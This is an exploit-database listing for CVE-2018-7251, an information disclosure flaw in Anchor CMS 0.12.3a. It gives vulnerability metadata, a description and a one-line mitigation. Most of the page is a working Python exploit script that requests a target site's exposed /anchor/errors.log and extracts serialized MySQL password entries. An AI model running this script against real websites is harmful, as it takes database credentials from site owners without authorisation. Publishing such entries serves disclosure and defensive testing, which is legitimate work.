header-logo
Suggest Exploit
vendor:
Anchor CMS
by:
Tijme Gommers
9.8
CVSS
CRITICAL
Information Disclosure
200
CWE
Product Name: Anchor CMS
Affected Version From: 0.12.3a
Affected Version To: 0.12.3a
Patch Exists: YES
Related CWE: CVE-2018-7251
CPE: anchorcms
Metasploit:
Other Scripts:
Tags: cve,cve2018,anchorcms,logs,error,packetstorm
CVSS Metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Nuclei Metadata: {'max-request': 1, 'vendor': 'anchorcms', 'product': 'anchor'}
Platforms Tested: Linux
2019

Information disclosure (MySQL password) in error log

By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentially sensitive information. Sometimes the AnchorCMS error log contains occurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.

Mitigation:

To mitigate this vulnerability, ensure that the error log file is not accessible to unauthorized users. This can be done by configuring proper file permissions and access controls.
Source

Exploit-DB raw data:

# Exploit Title: Information disclosure (MySQL password) in error log
# Date: 2/10/2019
# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)
# Vendor Homepage: https://anchorcms.com/
# Software Link: https://github.com/anchorcms/anchor-cms/releases
# Version: 0.12.3a
# Tested on: Linux
# CVE : CVE-2018-7251

# By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.

import re
import sys
import importlib


def get_plain(url):
    try:
        plain_result = requests.get(url=url)
        return plain_result
    except:
        return None


def print_usage():
    print('Usage: {0} <url>'.format(__file__))


if __name__ == '__main__':

    # Ensure we have the URL
    if len(sys.argv) != 2:
        print_usage()
        sys.exit(1)

    print("* Using AnchorCMS website: " + sys.argv[1])

    print("* Trying to import 'requests' module")
    requests_loader = importlib.util.find_spec('requests')
    requests_module_found = requests_loader is not None

    if requests_module_found:
        import requests
    else:
        print("* 'requests' module not found, please install it using pip")
        print("* pip install requests")
        sys.exit(1)

    json_url = sys.argv[1].strip("/") + "/anchor/errors.log"
    print("* Trying to get errors.log file at: {}".format(json_url))
    plain_result = get_plain(json_url)

    if plain_result == None:
        print("* URL could not be requested, errors.log is probably not exposed")
        sys.exit(1)

    print("* Found data {}, trying to parse it now".format(plain_result))

    lines = re.findall(r'"line":\d', plain_result.text)

    print("* Found {} error entries".format(len(lines)))

    passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text)

    print("* Found {} passwords entries".format(len(passwords)))

    for password in passwords:
        print("+ {}".format(password))